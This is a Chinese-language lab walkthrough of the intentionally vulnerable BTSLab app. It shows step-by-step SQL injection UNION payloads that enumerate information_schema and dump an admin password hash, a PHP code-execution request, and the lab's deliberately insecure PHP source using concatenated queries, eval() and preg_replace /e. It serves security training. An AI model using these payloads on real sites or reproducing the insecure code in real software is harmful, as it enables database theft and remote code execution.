btslab笔记

本文只涉及漏洞的验证与解题思路不进行安装等基础教学

1.vulnerability.injection.sqlinjection

url:https://172.16.26.44/btslab/vulnerability/ForumPosts.php?id=1
第一步:判断注入类型字符型还是数字型：
GET /btslab/vulnerability/ForumPosts.php?id=1

GET /btslab/vulnerability/ForumPosts.php?id=1-2

GET /btslab/vulnerability/ForumPosts.php?id=5-4

经过测试显然为数字型注入

判断闭合方式：
数字型闭合方式一般为括号闭合，进行测试：
GET /btslab/vulnerability/ForumPosts.php?id=5-4)) --

经过测试该闭合方式为空即纯数字无特殊符号闭合：
GET /btslab/vulnerability/ForumPosts.php?id=5-4%20--%20

进行列数的判断：
order by 4:

order by 5:

回显位置判断：
5-4 union select 1,2,3,4--

初步判断为4和2位置

5-4 union select 1,database(),3,version()--

查询版本与数据库名
为5.5.53与bts

版本位于5.0以后开始查询
利用information_schema表进行数据查询：
5-4 union select 1, group_concat(table_name),2,3 from information_schema.tables where table_schema=database()--

得到表名可疑表为users
开始查列:
5-4 union select 1, group_concat(column_name),2,3 from information_schema.columns where table_schema=database() and table_name='users' --

得到感兴趣列username password 查询其内容

总共就一个用户admin 其密码为5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
为sha1形式进行解密测试

源码：很简单的拼接导致漏洞百出

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');
include($_SERVER['DOCUMENT_ROOT'].'/btslab/mysqlconnection.php');
//Delete Post
if(isset($_GET['delete']))
{
	$id=$_GET['delete'];
	mysql_query("DELETE from posts where postid='$id'") or die("Failed to Delete the post");
	echo "Post is deleted";
}
//Displaying the content of Post
if(isset($_GET['id']))
{
	$result=mysql_query("select * from posts where postid=".$_GET['id']) or die(mysql_error());
	if(mysql_num_rows($result)>0)
	{
		while($row=mysql_fetch_array($result))
		{
		echo "<B style='font-size:22px'>Title: ".$row['title']."</B>";
		if(isset($_SESSION['isLoggedIn']))
		{
			if($row['user']==$_SESSION['username'])
			{
				echo "  <a href='ForumPosts.php?delete=".$row['postid']."'>Delete</a>";			
			}
		}
		echo "<br/>-  Posted By ".$row['user'];	
		echo "<br/><br/>Content:<br/>".$row['content']."";
		
		}
	}
}
echo "<br/><br/><a href='forum.php'>Return to Forum &gt;&gt;</a>";
 include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

2.vulnerability.injection.cmdinjection

乱码猜测由于gbk编码导致
进行乱码恢复：

成功得到结果

3.vulnerability.injection.phpinjection

https://172.16.26.44/btslab/vulnerability/phpinjection/challenge1.php?data=phpinfo()

源码很简单 eval进行了命令执行：
c1:

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');

if(isset($_GET['data']))
{
  $output = "";
$data = $_GET['data'];
 eval('$output = ' . $data. ';');
 echo $output;
}

include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>

preg_replacee进行命令执行 /e参数会导致命令执行

c2:

<?php include($_SERVER['DOCUMENT_ROOT'].'/btslab/header.php');

if(isset($_GET['data']))
{
$data = $_GET['data'];
$data = preg_replace('/(.*)/e', 'strtoupper("\\1")',$data);
//这句会对正则匹配到的参数进行命令执行 /e参数就代表执行命令 
print $data;
}

include($_SERVER['DOCUMENT_ROOT'].'/btslab/footer.php'); ?>